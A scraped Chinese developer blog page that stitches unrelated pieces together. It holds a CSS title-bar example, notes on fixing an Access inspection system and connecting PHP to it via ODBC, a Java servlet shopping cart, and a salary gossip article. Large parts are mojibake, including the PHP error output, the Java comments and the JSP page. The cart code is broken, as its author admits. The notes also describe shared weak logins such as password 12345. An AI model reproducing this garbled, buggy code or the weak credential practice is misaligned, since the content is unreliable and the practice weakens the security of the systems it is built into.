WEBLOGIC(4) (rss)
WebSphere(2) (rss)
WMB(18) (rss)
XSLT(3) (rss)
回顾(7) (rss)
待办(1) (rss)
思考(6) (rss)
拙作(13) (rss)
数据结构与算法(1) (rss)
科学漫谈(1) (rss)
箴言录(13) (rss)
编码加密解密(14) (rss)
计划(2) (rss)
转载(14) (rss)
相册
8thCisis
SqlToolBox
相册一
个人常用链接
51CTO
Box网络上传下载
CSDN
IP地址手机号查询
VOA English
VVG的前端设计
前端设计师聂微东
多特软件站
大连建设网
常用Jar包对照表
常用网址总汇
我的文艺科技博客
我的股票博客
招商银行
绿软发布页
最新随笔
1.�0�2再议关于父子窗口通信问题
2.�0�2一种安全的给页面组件添加事件的方法
3.�0�2JS中类似于Map的数据结构
4.�0�2箴言录2012年5月4日
5.�0�2ZT:10个步骤让你成为高效的Web开发者
6.�0�2箴言录2012年4月29日
7.�0�2ZT:公司绝对不会告诉你的潜规则
8.�0�2将页面组件的事件绑定到带参数的函数上
9.�0�2箴言录 2012年4月27日
10.�0�2网页上类似Excel效果的可编辑表格示例
积分与排名
积分 - 107959
排名 - 201
最新评论
1.�0�2re: 在页面打开SWF文件的代码
@圆圆改了src就行。
--何杨
2.�0�2re: IMSample下载地址
我主要想借此学习一下代码规范性设计方面的东西,其次若有好的思想也借鉴一下。楼主回复及时,支持楼主一个。
--xuelang
3.�0�2re: IMSample下载地址
这把应该可以了。这个小程序只是一时兴趣,维护已经没太多意义了。
--何杨
4.�0�2re: IMSample下载地址
可以下载啊。
--何杨
5.�0�2re: 企业应用最让开发者犯难的几个问题
经典啊!最后一句有深意!
--xuelang
阅读排行榜
1.�0�2用Wireshark从http数据包中得到用户的登录信息(6738)
2.�0�2使用RSA进行信息加密解密的WebService示例(2646)
3.�0�2Struts内部流程(总控ActionServlet读取Struts-config.xml后,将请求转发到诸负责业务处理的Action流程)模拟实现(2526)
4.�0�2扑克牌游戏“算24”的程序解法(1993)
5.�0�2一个完整的混合加密方式在Socket客户机服务器通信应用中的例子(1924)
60天内阅读排行
1.�0�2Spring MVC 例子(105)
2.�0�2ZT:程序员你伤不起的一些谬论(71)
3.�0�2网页上类似Excel效果的可编辑表格示例(67)
4.�0�2Sqltoolbox1.87bate2 版下载(62)
5.�0�2企业应用设计准则(59)
蓝色缎带--使用CSS制作标题栏示例 效果图示:实现代码:
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">HTML> HEAD> TITLE> New Document TITLE>style type="text/css">.titlebar_left { background: url(img/left.gif) no-repeat left center; width: 25px; height: 29px; float:left;}.titlebar_center { background: url(img/center.gif) repeat-x; width: 200; height: 29px; float:left; line-height: 29px; font-family:隶书; font-size:18pt;}.titlebar_right { background: url(img/right.gif) no-repeat right center; width: 192px; height: 29px; float:left;}-->style> HEAD> BODY> div> div class="titlebar_left">div> div class="titlebar_center">蓝色缎带示例div> div class="titlebar_right">div> div> BODY>HTML>
说明:1.指定div的行高等于div的高度能有效控制文字垂直居中,这种方法大家要牢记。2.如果是标题栏是活动的,可以使用一行三列的表格实现之。代码下载:http://www.blogjava.net/Files/heyang/sample_Duandai20090815090528.rar
Access入库检验系统功能分析(本件确认、本批确认)
约定:SAP中称材料为“物料”
入库检验系统称材料为“材料”
实际上上述二者是同一个东西,用同样的编码进行标识,编码来自于PLM。
约定结束。
入库者 在工作地点(库房货架旁边、卸货地点、检验室三个可能的地点)进行材料检验时,工作的手顺如下:
采购者 使用SAP的事务码导出txt文件----材料待检单;
入库者 打印纸质的 材料待检单;
手持待检单的入库者 从来料中拿出检验规则要求数目的材料,准备检验;
假如需要检测三个电阻,那么他取出3个电阻。检验第一个后,点击“本件确认” ;检验第二个后,点击“本件确认”;检验第三个后,点击“本批确认”;
该物料的检验完成;
继续检验待检单上的其他物料,直至所有物料检验完成;
下面描述access入库检验系统 中 本件确认 和 本批确认 的代码逻辑:本件确认 是一个按钮
判断 检测表 中是否存在 传票号 对应的 待检单 1.1 如果不存在 说明这个待检单刚刚打印出来,单子上面的物料都没有检测过,准备从第一个开始检验;
1.2 如果存在 说明这个待检单上最开始的一些物料已经被检验过了,你准备从中间的某一个开始检验;
检测子窗体 中的输入框“工件序号” (这是一个整数)加一
如果合格, 那么合格数目加一;
如果不合格,那么不合格数目加一;
检测子窗体 的 合格 输入框 清空;
检测子窗体 的数据源 指定为 “检测单”
上述内容就是本件确认按钮触发的逻辑;
下面描述“本批确认”的逻辑
到货数量 = 0 报错“数据未填写全”
最后判定 (入库者填写“Y”或者“N”) 如果填 Y 那么继续;如果填 N 那么需要填写“不合格内容”
从表“入库检验”获取 图号+传票号 定位到的数据record ;如果已经有了这个记录,说明本批已经确认过了,不能再次确认;如果没有这条记录,就rs.AddNew
把窗体上控件的内容 写入rs,为表“入库检验”添加一条记录;
从表“检验转换” 获取 图号+供货商 对应的数据;
5向表“检测表”插入数据(本批最后一件的检测数据)
表 入库检验 存储的是 这次检验的总体数据,只有一条记录表 检测表 存储的是 一批n件物料的检测明细,多条记录
点击 本件确认 按钮,向 检测表 插入 本件检测记录;点击 本批确认 按钮,向 入库检验 表 插入本批检测记录,同时向 检测表插入 最后一件的检测记录;
在重写入库检验系统之前,需要在access程序中进行修改,紧急应对品管检查的需求。需求的内容如下:
抽检的数目小于抽检样本数的情况下,入库者强行退出“入库检验”功能时,需要弹出提示框,警告抽检数目不足;
最终实际抽检数目小于抽检样本数的 入库检验 ,需要被列表的方式展现出来,由系长、部长、入库检验者方便的查看。
检验样本数 这个输入框 不得修改(任何人不得手动修改这一输入框的数值、只能由程序计算)
到货数量小于检验样本数的情况:提示全检;
前两个需求需要今天完成如果检验样本数是3,第1个正常检验,准备检验第2个的时候,发生退出,是怎样的情景呢?第1个检验完成,点击 本件确认 按钮;如果此时,不点击任何access界面上的有效按钮,直接强制关闭access程序,无法弹出任何有效的提示窗体;如果此时,直接点击 本批确认 按钮,系统提示 “样本数与检验数不一致”如果此时,直接更换其他图号,确实系统没有任何有效的提示信息;
经过上述推演,第三种情况,需要弹出提示窗口,也就是某一个特定待检单上某一个特定材料的入库检验进行到中途没有检验完成的情况下,中途更换图号,需要系统弹出提示框,警告入库者“材料入库检验未完成”;第一种情况属于强制退出,无法提示;第二种情况,系统已经设置了应对机制;
找到对应的代码
If Me.检验样本数 <> (Me.合格品数 + Me.不良品数 + 1) Then
a = MsgBox("样本数与检验数不一致", , "错误提示")
Exit Sub
End If
那么在access程序的代码中,图号_afterupdate()方法中,进行修改
If Me.检验样本数 <> 0 Then
If Me.检验样本数 <> (Me.合格品数 + Me.不良品数 + 1) Then
a = MsgBox("检验未完成,实际检验数小于检验样本数", , "错误提示")
End If
End If
第一项内容修改完毕。第二项内容,对Access数据库中,实际检验数目小于检验样本数的,入库检验,进行查询,展示。
通过读代码,我们知道“本件确认”按钮 触发向 表 "检测表" 写入n条检验明细;“本批确认”按钮 触发向 表“入库检验”和“检测表” 同时写入数据;因此读取access数据库,实际上就是读取符合条件的,上述两个表中,对应时间段的数据;
这一功能不再使用access实现,改用php读取。首先在10.28服务器的mysql数据库创建一个用户 ruku 密码12345然后所有的入库者、系长、工艺员全都暂时通过这个用户进入php的页面对第二个需求的数据进行查询。
不得不说,使用php访问mysql数据库是一个陌生的技术。最开始百度一些代码,尝试连接,不行连接不上。首先,我们展示一下如何使用eclipse运行php代码(非web方式)打开你的eclipse,找到你写的php代码,这个代码就是一个面向对象的class,然后创建这个class的实例,运行一个空方法。class文件右键 run as php cli application这样就可以单纯的在php环境中,直接运行一个php类
之所以描述上述内容,是因为长时间无法用php语句链接上access数据库,因此我希望首先使用php语句直接访问access数据库,而不是通过浏览器运行php文件。
下面,php有哪些方式去访问access数据库呢?1.odbc_connect()方法http://php.net/manual/en/function.odbc-connect.php这个方法是php官方提供的,功能是Connect to a datasource
我在上述网页地址看到了如下内容,是一个外国网友在php官方网站的留言,他抱怨了php的odbc_connect()方法如何不好用,而且他遇到了和我一样的问题,他决定不再使用odbc方式,转而使用adb方式。我就不贴自己在eclipse上写php代码,使用odbc_connect()方法碰壁的截图了。这位网友使用ado的代码如上所示。下面看看ado这个技术。什么是ADO?ActiveX Data Objects
Microsoft's ActiveX Data Objects (ADO) comprises a set of Component Object Model (COM) objects for accessing data sources.
A part of MDAC (Microsoft Data Access Components), it provides a middleware layer between programming languages and OLE DB (a means of accessing data stores, whether databases or not, in a uniform manner).
ADO allows a developer to write programs that access data without knowing how the database is implemented; developers must be aware of the database for connection only. No knowledge of SQL is required to access a database when using ADO, although one can use ADO to execute SQL commands directly (with the disadvantage of introducing a dependency upon the type of database used).
Microsoft introduced ADO in October 1996, positioning the software as a successor to Microsoft's earlier object layers for accessing data sources, including RDO (Remote Data Objects) and DAO (Data Access Objects).
ADO is made up of four collections and twelve objects.
上述英文内容,来自于wiki,1996年的技术,看得我很汗颜。ADO是微软提供的数据库访问技术,一种数据存储的访问方法,不管你访问的是数据库或者不是数据库。
access是微软的产品,所以我们有理由相信,微软提供的ADO是其他编程语言访问access数据库的官方规范的方法。
现在让我们总结一下:php这种编程语言访问access这种数据库,有两种方式: php提供的odbc_connect方式 和 微软提供的ADO方式。
w3school中php连接数据库odbc的讲解:http://www.w3school.com.cn/php/php_db_odbc.asp什么是ODBC?Open Database Connectivity,缩写为ODBC, 是微软公司开放服务结构(WOSA,Windows Open Services Architecture)中有关数据库的一个组成部分,它建立了一组规范,并提供了一组对数据库访问的标准API。
前面看到ODBC和ADO方式都是微软提供的规范和API,下面我们两种方式都要尝试一下,至于php网站上美国网友的困惑我们也来解释一下:
首先,在自己的php的apache服务器上配置ODBC数据源,也就是你的应用服务器上首先要开启ODBC连接,并且连接上远程的access数据库,形成一个SID,这个SID是用来给你的php代码找数据库连接用的。
我的这个环境是windows server 2008 r2,首先在服务器上配置ODBC连接。上述创建ODBC连接的配置过程可以参考:http://blog.sina.com.cn/s/blog_3fe4f9a30102vthz.html
下面是w3school中整个过程的描述:
创建 ODBC 连接通过一个 ODBC 连接,您可以连接到您的网络中的任何计算机上的任何数据库,只要 ODBC 连接是可用的。这是创建到达 MS Access 数据的 ODBC 连接的方法:
在控制面板中打开管理工具
双击其中的数据源 (ODBC) 图标
选择系统 DSN 选项卡
点击系统 DSN 选项卡中的“添加”按钮
选择 Microsoft Access Driver。点击完成。
在下一个界面,点击“选择”来定位数据库。
为这个数据库取一个数据源名 (DSN)。
点击确定。
请注意,必须在您的网站所在的计算机上完成这个配置。http://blog.csdn.net/guoguo1980/article/details/1341363
在apache所在的服务器上配置了DSN以后,发现无法访问到配置的那个远程acess文件不管是php的类直接访问还是php网页都无法访问,很上火啊怎么办?只能在本地先新建一个全新的access数据库,连它试试看如下图:这个数据库放置在D盘根目录下:然后在这个服务器上,按照之前的方式配置一下这个新access的DSN上图中,为这个新的access数据库文件创建了用户名密码admin/admin,方便好记下面开始用php代码连接access数据库,现在相当于php生存的apache服务器和access都在同一台电脑上,这下应该好连接才对,我们试一试:写了代码,连接一下上面那个数据库运行一下很悲惨的:
PHP Warning: odbc_connect(): SQL error: Microsoft ��ָ���� DSN �У����������Ӧ�ó���֮�����ϵ�ṹ��ƥ��, SQL state IM014 in SQLConnect in D:ApachewwwHRMmodulesrukuclassesruku.class.php on line 20PHP Stack trace:PHP 1. {main}() D:ApachewwwHRMmodulesrukuclassesruku.class.php:0PHP 2. ruku::testF() D:ApachewwwHRMmodulesrukuclassesruku.class.php:35PHP 3. odbc_connect() D:ApachewwwHRMmodulesrukuclassesruku.class.php:20
讲老实话,上述报错都是乱码,我也是醉了。
上述内容,反映出一个问题,就是php的基本功没有的话,遇到问题,就要花非常长时间来解决。不如,我们好好理清一下php数据库连接的知识吧,反正也是连不上,与其退缩,不如战胜它。选择物料号后选择供应商
检查标准制作过程刚进入界面如下图:如果已经有了该物料的检验标准:如果全新的物料号则如下图:
Java简单购物车设计
还是存在一些问题(比如clear函数没效果、乱码,单独测试也没,确实找不到问题),路过的给解决下。。。 第一部分 会话控制 会话跟踪:
使用隐藏表单字段 URL重写,实际就是直接把状态信息加到URL 持久Cookie
会话HttpSession
今天写filter的时候找不到web.xml了,急坏了我,原来是我在创建动态网站项目的时候,输入项目名称后就立刻按finish了,我刚才创建了另一个项目,一步一步next地来,在最后那步可以是否创建web.xml文件,最后把这个web.xml文件拷贝到原来项目的WEB-INF目录下就正常运行了(servlet3.0)。 页面编码问题: 首先,在 eclipse 中配置 workspace 项下 text file encoding 属性的值来决定此工作区间下所有的 eclipse 项目的文档的编码属性。 Window-->Preferences-->General-->Workspace, 在 workspace 下配置 text file encoding 的属性值是 other, 在 other 中选择 ”utf-8”, 配置完成后,点出 ok 保存。 其次,windows->Preferences...打开"首选项"对话框,左侧导航树,导航到 general->Content Types,右侧Context Types树,点开Text,选择Java Source File,在下面的Default encoding输入框中输入UTF-8,点Update,则设置Java文件编码为UTF-8。已经搞好的就用批量转码工具。 session的常用方法: 1、 getAttribute():从session中获取以前存储的值 2、 getAttributeNames():返回session中所有属性的名称 3、 setAttribute():将键与值关联起来,存储进session 4、 removeAttribute():删除session中存储的对应键的值 5、 invalidate():删除整个session及其存储的键值 6、 logout():注销当前用户 7、 getId():获取每个session对应的唯一ID 8、 getCreationTime():获取session创建的时间 9、 getLastAccessedTime():获取session最后被访问的时间 10、getMaxInactiveInterval():在用户没有访问的情况下,会话在被自动废弃之前应该保持多长时间 第二部分 JS控制 html页面的所有元素均可以通过document.getElementById得到;document.forms["表单明"]或者document.forms["表单序号"]访问表单元素;document.frames["框架明"].document访问框架。 值得注意的getElementById这个方法查找的时候,会以传入的参数与第一次name属性值相同的元素查找出来。
<script type="text/javascript">
function get()
{
//也可以直接通过元素的属性Id来直接获取
var ipv6 = document.getElementById("ip").value;
alert("ipv6: " + ipv6); //55::66
var ipv4 = document.getElementById("ip").value;
alert("ipv4: "+ipv4); //55::66
var ipv44 = document.getElementById("ipv4").value;
alert(ipv44); //1.1.1.1
}
</script>
<body>
<form action="hehe.jsp" id="one" method="post" name="one1" >
ipv6 : <input type="text" name="ip" value="55::66" /><br>
ipv4 : <input type="text" id="ip" name="ipv4" value="1.1.1.1" /><br>
<input type="button" value = "button" onclick="get()">
</form>
</body>
getElementsByName(name),name这个属性在元素中是可以相同的也就是这个方法取出的是个集合(ID默认是唯一的,所以不实际和)。注意方法名,我老是写错少了“s”,这个方法与getElementById不太一样。
<script type="text/javascript">
function get()
{
//也可以直接通过元素的属性name来直接获取
var ip = document.getElementsByName("ip");
var ipv6 = ip[0].value;
alert("ipv6: " + ipv6); //55::66
var ipv4 = ip[1].value;
alert("ipv4: "+ipv4); //1.1.1.1
}
</script>
<body>
<form action="hehe.jsp" id="one" method="post" name="one1" >
ipv6 : <input type="text" id="ipv6" name="ip" value="55::66" /><br>
ipv4 : <input type="text" id="ipv4" name="ip" value="1.1.1.1" /><br>
<input type="button" value = "button" onclick="get()">
</form>
</body>
getElementByTagName(tagname),根据元素来查询,返回的值肯定也是集合啦!可以用来得到表单各个字段的名字。
<script type="text/javascript">
function get()
{
//也可以直接通过元素的属性tagname来直接获取
var ip = document.getElementsByTagName("input");
for(var i=0;i<ip.length;i++)
{
alert(ip[i].value); //55::66 1.1.1.1 button
}
}
</script>
<body>
<form action="hehe.jsp" id="one" method="post" name="one1" >
ipv6 : <input type="text" id="ipv6" name="ip" value="55::66" /><br>
ipv4 : <input type="text" id="ipv4" name="ip" value="1.1.1.1" /><br>
<input type="button" value = "button" onclick="get()">
</form>
</body>
servlet处理复选框String[] param = request.getParameterValues("checkbox1")
表格变色:document.getElementById(row).style.backgroundColor="#FF0000";
第三部分 代码设计
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class FilterChar implements Filter {
//�ýӿھ����������init��destroy��doFilter
private String config;
public void destroy() {
this.config = null;
}
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest req;
req = (HttpServletRequest) request;
HttpServletResponse res;
res = (HttpServletResponse) response;
req.setCharacterEncoding(config);
res.setCharacterEncoding(config);
chain.doFilter(req, res);
}
public void init(FilterConfig config) throws ServletException {
this.config = config.getInitParameter("encode");
}
}
import java.io.IOException;
import java.io.PrintWriter;
import java.util.HashMap;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class FruitBuy extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// TODO Auto-generated method stub
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// TODO Auto-generated method stub
super.doPost(req, resp);
}
@Override
protected void service(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException {
// TODO Auto-generated method stub
HttpSession session = req.getSession(true);
HashMap cart = (HashMap)session.getAttribute("cart");
if(null==cart) {
cart = new HashMap();
//Ĭ����object
cart.put("J2SE","0");
cart.put("J2EE","0");
cart.put("J2ME","0");
session.setAttribute("cart", cart);
}
PrintWriter out = res.getWriter();
res.setContentType("text/html; charset=UTF-8");
req.setCharacterEncoding("UTF-8");
int j2se = Integer.parseInt(req.getParameter("book1amount"));
int j2ee = Integer.parseInt(req.getParameter("book2amount"));
int j2me = Integer.parseInt(req.getParameter("book3amount"));
//object����ֱ��תΪint����
int oldJ2se = (int)cart.get("J2SE");
int oldJ2ee = (int)cart.get("J2EE");
int oldJ2me = (int)cart.get("J2ME");
cart.put("J2SE", oldJ2se);
cart.put("J2EE", oldJ2ee);
cart.put("J2ME", oldJ2me);
out.println("����������"+cart.get("J2SE")+cart.get("J2EE")+cart.get("J2ME"));
out.println("<hr>");
out.println("�ص����"+"<a href=\"res.encodeRedirectURL(\"buy.jsp\") />");
}
}
<%@ page language="java" contentType="text/html; Charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ÍøÉÏÊéµê是</title>
<script type="text/javascript" language="JavaScript">
function clear1() {
document.forms["fruitform"].book1amount.value="";
}
function clear2() {
document.forms["fruitform"].book2amount.value="";
}
function clear3() {
document.forms["fruitform"].book3amount.value="";
}
function changecolor( row) {
//C大写
document.getElementById(row).style.backgroundColor="#FF0000";
}
function resetcolor( row) {
//C大写
document.getElementById(row).style.backgroundColor="#FFFFFF";
}
//ÒòΪajax²»»á£¬È¨µ±Á·Ï°js
function show1() {
document.forms["fruitform"].book1amount.value =document.getElementById(book1amount).value;
window.alert("Äú¹ºÂòÁË:" + document.forms["fruitform"].book1amount.value+"±¾");
}
function show2() {
document.forms["fruitform"].book2amount.value =document.getElementById(book2amount).value;
window.alert("Äú¹ºÂòÁË:" + document.forms["fruitform"].book2amount.value+"±¾");
}function show3() {
document.forms["fruitform"].book3amount.value =document.getElementById(book3amount).value;
window.alert("Äú¹ºÂòÁË:" + document.forms["fruitform"].book3amount.value+"±¾");
}
</script>
</head>
<body>
<form action="FruitBuy" name="fruitform" method="get">
<hr align="center" size="1">
<table >
<!-- ±ØÐë·ÅÔÚtableÄÚ²¿ -->
<caption>»¶ÓÀ´µ½ÎÒµÄÍøÉÏÊéµê</caption>
<tr id="row">
<th>ÖÖÀà</th><th>µ¥¼Û</th><th>ÊýÁ¿</th>
</tr>
<tr id="row1" onMousemove="changecolor('row1')" onMouseout="resetcolor('row1')">
<td>J2SE¾«±à</td><td>22.0</td>
<td><input type="text" name="book1amount" id="book1amount" value="ÇëÊäÈ빺ÂòÊýÁ¿" onFocus="clear()" onBlur="show1()"></td>
</tr>
<tr id="row2" onMousemove="changecolor('row2')" onMouseout="resetcolor('row2')">
<td>J2EE¾«±à</td><td>36.0</td>
<td><input type="text" name="book2amount" id="book2amount" value="ÇëÊäÈ빺ÂòÊýÁ¿" onFocus="clear()" onBlur="show2()"></td>
</tr>
<tr id="row3" onMousemove="changecolor('row3')" onMouseout="resetcolor('row3')">
<td>J2ME¾«±à</td><td>22.0</td>
<td><input type="text" name="book3amount" id="book3amount" value="ÇëÊäÈ빺ÂòÊýÁ¿" onFocus="clear()" onBlur="show3()"></td>
</tr>
</table>
<hr align="center" size="1">
<input type="submit" value="·ÅÈ빺Îï³µ">
</form>
</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" id="WebApp_ID" version="3.0">
<display-name>WEB</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>
<filter>
<filter-name>FilterChar</filter-name>
<filter-class>FilterChar</filter-class>
<init-param>
<param-name>encode</param-name>
<param-value>UTF-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>FilterChar</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
女方觉得男朋友程序员月薪17k太优秀,感到自卑。网友:那是批发价
世界各国的程序员并不多。据说中国也只有200万会写程序的人(只占总人口0.14%),印度虽然有270万程序员但是综合下来也只占人口0.2%的样子。美国的Tech行业(包括IT在内)工作人员达到700万;占人口的2%以上。其它西欧国家应该都是差不多的比例。
IT 行业自打诞生以来,一直是资本的宠儿。所以,这个行业总体上是不缺钱的,有能力给你开高薪。
喜欢看小编文章的点个订阅或者喜欢!小编每天都会跟大家分享文章,也会给大家提供web前端学习资料。
今天小编看到一个帖子,楼主是一个女生,自己7K,男友在百度上班,码农一个,月薪17k。楼主男朋友觉得女方没有上进心,楼主觉得很自卑。
���
���从帖子可以看出楼主很委屈,不少网友对其抱打不平,就有网友说道:码农算什么?也有网友安慰楼主:一年经验的程序员17k也就是批发价,意思就是不必太在意,哈哈。
�
某搜狐员工说:我32k,找我吧。另一位百度员工也说道:我50k,你找我吧。也有不少网友劝楼主分手吧,男主是鸡蛋里挑骨头,这年头一个码农有个女朋友都不错了!还敢挑!
为什么现在程序员的工资都那么高呢?拿前端来举例:不管是小程序的横空出世,还是Web应用的大量涌现,它们都掀起了一波“前端开发需求热”,给前端开发工程师们带来了春天。几乎整个互联网行业都缺前端工程师,无论是刚起步的创业公司,还是上市公司乃至巨头。那么这么热门的职位到底有多值钱呢?
北京前端开发平均工资:¥18440元/月
看了前端开发的薪资,你有没有很心动想转行当个衣食无忧的工程师?或者有没有发现不知不觉中,同为程序员的自己已经拖后腿了?
薪资总是与能力相匹配,拿高薪的前端开发程序员们肯定有着过硬的实力。很多程序员薪水达到一定级别之后会遇到天花板,发现加薪幅度越来越小,跳槽也很困难。主要原因在于随着前端市场越来越庞大,人力资源越来越饱和,前端的门槛也越来越高。当然也有自身技术的一些瓶颈。
感谢阅读
喜欢看小编文章的点个订阅或者喜欢!小编每天都会跟大家分享文章,也会给大家提供web前端学习资料。